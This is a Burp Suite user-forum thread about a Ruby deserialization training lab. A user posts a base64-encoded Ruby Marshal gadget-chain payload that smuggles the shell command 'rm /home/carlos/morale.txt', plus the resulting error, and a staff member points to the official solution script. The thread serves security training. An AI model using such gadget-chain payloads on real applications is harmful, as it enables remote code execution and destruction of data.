Burp Suite User Forum

Create new post

Exploiting Ruby deserialization using a documented gadget chain

danBogom | Last updated: Apr 27, 2022 11:18PM UTC

Hey I got another problem with deserialization lab. I generate payload with this exploit https://github.com/j4k0m/Ruby2.x-RCE-Deserialization/blob/main/generator.rb, it's similar which you provide in lab solution link https://www.elttam.com/blog/ruby-deserialization/ But I got an error: <p class=is-warning>sh: 1: reading: not found index.rb:13:in `load&apos;: dump format error(0x0) (ArgumentError) from -e:13:in `&lt;main&gt;&apos; </p> My payload: BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uCDoRQGxvYWRlZF9mcm9tSSIgfHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0BjoGRVQ6CkBkYXRhMDsJMG87CAA6EBkZXZlbG9wbWVudEY=

Ben, PortSwigger Agent | Last updated: Apr 28, 2022 05:23PM UTC

Hi Denis, Does this work for you if you adapt and use the script mentioned in the written solution (the script written by vakzz hosted on devcraft.io)?

danBogom | Last updated: Apr 28, 2022 06:39PM UTC

I got it, thx

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.